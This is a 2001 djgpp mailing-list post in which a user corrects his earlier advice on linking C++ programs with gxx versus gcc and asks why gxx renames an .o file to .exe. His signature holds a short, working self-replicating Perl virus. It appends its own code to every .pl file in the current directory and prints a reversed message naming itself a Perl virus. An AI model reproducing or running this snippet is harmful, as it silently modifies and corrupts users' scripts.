Mail Archives: djgpp/2001/02/18/06:12:30
Eli Zaretskii <eliz AT is DOT elta DOT co DOT il> schrieb Folgendes:
> > From: rpolzer AT web DOT de (Rudolf Polzer)
> > Newsgroups: comp.os.msdos.djgpp
> > Date: Sat, 17 Feb 2001 19:54:53 +0100
> > >
> > > gxx -o hello.exe hello.o
> > > rename of hello.o to hello.exe failed.
> > > the error was: invalid argument (ENIVAL)
> >
> > You have to run gcc:
> >
> > gcc -o hello.exe hello.o
> >
> > Or, if you only have one .cpp file:
> >
> > gcc -o hello.exe hello.cpp
>
> ??? If at all relevant, this is backwards: C++ programs need to be
> linked with gxx or gpp, not gcc.
>
> In any case, even using gcc, you should never see EINVAL and the error
> message cited by the OP (see above).
Sorry. I did not think when writing. The first line is ok, I use it in
makefiles (but I add -lstdcx) as well as RHIDE does. Both work when adding
-lstdcx (in Unix: -lstdc++) and are correct, according to the info files.
I answered this because I was wondering why gxx wanted to _rename_ an .o
file to an .exe file.
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -